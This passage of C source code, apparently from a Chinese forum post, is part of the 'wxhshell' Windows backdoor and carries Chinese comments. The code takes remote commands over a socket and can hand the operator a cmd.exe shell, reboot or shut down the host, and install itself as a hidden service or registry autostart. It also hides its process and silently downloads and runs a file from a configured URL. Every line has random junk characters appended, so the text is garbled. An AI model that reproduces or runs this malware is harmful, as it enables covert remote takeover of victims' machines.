  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >%5GMx>m  
  else OnyAM{$g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a]J>2A@-I  
  } qeC^e}h  
  else { zCv)%y  
2Sk hBb=d  
    switch(cmd[0]) { XtE O)  
  $ nMx#~>a  
  // 帮助 aU/y>Y <k  
  case '?': { S~W;Ld<>fB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :UX8^+bfZ  
    break; A8k $.E  
  } 2k m0  
  // 安装 WR u/7$8  
  case 'i': { eep/96G ?  
    if(Install()) $oJjgAxcZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?}rA%so  
    else '@zMZc!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(FT4KD~  
    break; Y5P9z{X=  
    } :2+z_+k}<  
  // 卸载 sGh TP/  
  case 'r': { WEoD ?GLS8  
    if(Uninstall()) 6B Hd c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b&]z^_m)  
    else flz7{W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1(Z+n,Hh  
    break; F6\4[B  
    } ;kZJnN"y  
  // 显示 wxhshell 所在路径 3lKs>HE0  
  case 'p': { ?0-3J )kW  
    char svExeFile[MAX_PATH]; -=n!k^?lK  
    strcpy(svExeFile,"\n\r"); b2RW=m-  
      strcat(svExeFile,ExeFile); 0g Hd{H=  
        send(wsh,svExeFile,strlen(svExeFile),0); yTNHM_P  
    break; }9N-2]  
    } sxdDI?W4  
  // 重启 N/1xc1$SB  
  case 'b': { ys:F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I|2dV9y  
    if(Boot(REBOOT)) :G=ol2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E 0OHl  
    else { Pj*]%V  
    closesocket(wsh); 9|NF)~Q}'  
    ExitThread(0); G7KOJZb+D  
    } d7uS[tKqg  
    break; MlLM $Y-@  
    } {bC(>k|CQ  
  // 关机 &'/bnN +R  
  case 'd': { ;y)3/46S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Zej\lEN  
    if(Boot(SHUTDOWN)) KI].T+I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QHsJo|.  
    else { >u|4490<0  
    closesocket(wsh); 8|u8J0^  
    ExitThread(0); &o&}5Aba9  
    } ,>nf/c0.  
    break; mi@uX@ #  
    } e:.D^G Fi  
  // 获取shell LaL{ ^wP  
  case 's': { IU"n`HS  
    CmdShell(wsh); -vh\XO  
    closesocket(wsh); o*[[nK*fL  
    ExitThread(0); qZlL6  
    break; 67||wh.BU  
  } [Kb)Q{=)  
  // 退出 DweF8c  
  case 'x': { m6@;!*Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cK IA.c}N  
    CloseIt(wsh); j#l1KO^y  
    break; Y$fF"p G?  
    } yb\!4ml  
  // 离开 gRw? <U^  
  case 'q': { B9`_~~^U5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wi*HLP!lNC  
    closesocket(wsh); oJc7a z  
    WSACleanup(); _+Uf5,.5yU  
    exit(1); }kJ9< h,  
    break; 6rlM\k@!  
        } Q.V+s   
  } xo(>nFjo  
  } n0uL^{B  
N*KM6j  
  // 提示信息 mhNgXp)_56  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]XWtw21I1  
} mE9ytFH\k  
  } )>pIAYCVP  
A8ClkLC;I  
  return; -(E-yC u  
} +1eb@b X  
oCKn  
// shell模块句柄 (cp$poo  
int CmdShell(SOCKET sock) "Fxw"I <  
{ 2p*L~! iM  
STARTUPINFO si; NH,4>mV$!  
ZeroMemory(&si,sizeof(si)); Nu><r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |e2s{J2   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fn;Gq-^7@  
PROCESS_INFORMATION ProcessInfo; u TmT'u:}  
char cmdline[]="cmd"; |+1k7S  ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?u{D-by%&  
  return 0; y*lAmO  
} mvyOw M  
T 6=~vOzTJ  
// 自身启动模式 "ZG2olOqLI  
int StartFromService(void) nwJc%0  
{ bFfDaO<k  
typedef struct 2K2*UC`f  
{ tk+t3+  
  DWORD ExitStatus; -B:O0;f  
  DWORD PebBaseAddress; {InW%qSn_  
  DWORD AffinityMask; eGI&4JgJ.  
  DWORD BasePriority; mXUe/*r0T  
  ULONG UniqueProcessId; J*qo3aJjE  
  ULONG InheritedFromUniqueProcessId; @SAJ*h fb0  
}   PROCESS_BASIC_INFORMATION; 9|>5;Ej  
DjiWg(X  
PROCNTQSIP NtQueryInformationProcess; 22D,,nC0+=  
XK yW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U,,rB(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z_:r&UP`"  
z2SR/[I?  
  HANDLE             hProcess; !jN$U%/,%.  
  PROCESS_BASIC_INFORMATION pbi; WZ ,t~TN  
9~}8?kPNw=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a0cW=0l=  
  if(NULL == hInst ) return 0; L$}'6y/@  
RH;Kbu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cqb]LC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {ALOs^_-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `,6^eLU  
'h{DjNSM  
  if (!NtQueryInformationProcess) return 0; P)hawH=  
13I~   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4\2~wSr  
  if(!hProcess) return 0; A Zv| |8p  
Jry643K>:;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $I90KQB\_  
S3YAc4  
  CloseHandle(hProcess); V;]U]   
^Kh>La:>O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9;EY3[N  
if(hProcess==NULL) return 0; )"y]_}  
hFt~7R  
HMODULE hMod; IeJ@G)  
char procName[255]; (OHd} YQ  
unsigned long cbNeeded; m{0u+obi&w  
Mer\W6e"e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \E EU G^T  
~sc@49p  
  CloseHandle(hProcess); w3peG^4D_  
c#(&\g2H  
if(strstr(procName,"services")) return 1; // 以服务启动 v:@ud,d<  
&E8fd/s= k  
  return 0; // 注册表启动 .s<tQU  
} 2v\-xg%1  
Jl,\^)DSw  
// 主模块 DR#[\RzNI  
int StartWxhshell(LPSTR lpCmdLine) ]ch=D  
{ `z3"zso  
  SOCKET wsl; .Dg'MM BM  
BOOL val=TRUE; WjMP]ND#c  
  int port=0; MFLw^10(T  
  struct sockaddr_in door; Voc&T+A m  
{1`n^j(>  
  if(wscfg.ws_autoins) Install(); <(-4?"1  
G6x2!Ny  
port=atoi(lpCmdLine); MBH/,Yd  
;^:$O6J7T~  
if(port<=0) port=wscfg.ws_port; 5Ai$1'*p  
WP0{%  
  WSADATA data; N\ dr_   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &;k`3`MC~w  
>~^##bIb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dbLxm!;(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |qsY0zx  
  door.sin_family = AF_INET; }\/f~ ?tEh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ss>?fyA  
  door.sin_port = htons(port); ;M Z@2CO  
)z?Kq0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iP~dH/B|v  
closesocket(wsl); CiGN?1|  
return 1; ,W/D0  
} k)R>5?_  
mD p|EXN  
  if(listen(wsl,2) == INVALID_SOCKET) { > ak53Ij$  
closesocket(wsl); vXM``|  
return 1; lCyp&b#(L  
} oxPb; %  
  Wxhshell(wsl); L"6@3  
  WSACleanup(); oFRb+H(E  
\;A\ vQ[  
return 0; %7?v='s=  
P&Q 5ZQb  
} XJ;JDch  
ZWJFd(6  
// 以NT服务方式启动 Up$vBE8i]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c};Qr@vpo  
{ t%AW0#TZ  
DWORD   status = 0; BE }qwP^  
  DWORD   specificError = 0xfffffff; 7M1*SC  
'm=9&?0S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `'[ 7M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w`Dzk. 2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #+eV5%S i  
  serviceStatus.dwWin32ExitCode     = 0; \0pJ+@\T9  
  serviceStatus.dwServiceSpecificExitCode = 0; VMW ?[j  
  serviceStatus.dwCheckPoint       = 0; "t"=9:_t  
  serviceStatus.dwWaitHint       = 0; @]HV:7<q  
|[TH ~ o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m-a _<xo  
  if (hServiceStatusHandle==0) return; D] 2+<;>`>  
^dP@QMly6  
status = GetLastError(); I=^%l7  
  if (status!=NO_ERROR) p$@=N6)I.k  
{ l(zkMR$b8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }~-)31e'`  
    serviceStatus.dwCheckPoint       = 0; >|7&hj$  
    serviceStatus.dwWaitHint       = 0; 4#=!VK8ZH  
    serviceStatus.dwWin32ExitCode     = status; 7w{`f)~  
    serviceStatus.dwServiceSpecificExitCode = specificError; mI in'M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zk}e?Grc  
    return; L i=l/  
  } e= "/oo  
V|HSIJ#J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b)w3 G%Xx  
  serviceStatus.dwCheckPoint       = 0; xyz-T1ib  
  serviceStatus.dwWaitHint       = 0; M7,|+W/RK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :N)7SYQT  
} =$Q3!bJ  
[dU/;Sk5  
// 处理NT服务事件,比如:启动、停止 7qXgHrr0|U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rmQGzQnun  
{ rT}d<c Sf  
switch(fdwControl) x'JfRz  
{ oRWsi/Zf  
case SERVICE_CONTROL_STOP: #0Oqw=F  
  serviceStatus.dwWin32ExitCode = 0; _W#27I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~P6K)V|@<  
  serviceStatus.dwCheckPoint   = 0; gYzKUX@  
  serviceStatus.dwWaitHint     = 0; ]\ r~"*TZ  
  { J;q3 fa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `O}. .N]g  
  } <J H0 &  
  return; 9CBB,  
case SERVICE_CONTROL_PAUSE: `&9#!T.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [sNn^x  
  break; PL+fLCk,I  
case SERVICE_CONTROL_CONTINUE: `(o1&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5K6_#g4"  
  break; ir,Zc\C  
case SERVICE_CONTROL_INTERROGATE: x-Mp6  
  break; rX{|]M":T  
}; & vLX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {&h&:  
} =$`DBLX   
/ V {w<  
// 标准应用程序主函数 < m9O0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .cZ&~ N  
{ ?4lAL  
%74 Ms  
// 获取操作系统版本 ]7u8m[@  
OsIsNt=GetOsVer(); -O_UpjR;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LiB0]+wzj  
ReK@~#hLY  
  // 从命令行安装 SpkVV/  
  if(strpbrk(lpCmdLine,"iI")) Install(); -I_lCZ{Nbi  
E$ngmm[  
  // 下载执行文件 ;!~;05^iD  
if(wscfg.ws_downexe) { ~hxB Pn."  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /e7'5#v  
  WinExec(wscfg.ws_filenam,SW_HIDE); k=~?!+p7  
} ,^<+5TYM7  
%~W}262  
if(!OsIsNt) { Iiy:<c  
// 如果时win9x,隐藏进程并且设置为注册表启动 y1 }d(%  
HideProc(); ?xf;#J+{8  
StartWxhshell(lpCmdLine); (%P* rl  
}  q?^0 o\  
else l =_@<p  
  if(StartFromService()) !}3`Pl.(r  
  // 以服务方式启动 Z956S$gS  
  StartServiceCtrlDispatcher(DispatchTable); <HzAh<_@F  
else c'|MC[^A  
  // 普通方式启动 5PPy+36<~  
  StartWxhshell(lpCmdLine); 7GIv3Dc  
@B'Mu:|f  
return 0; zgRP!q<9tt  
}
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只看该作者 1 发表于: 2006-10-10
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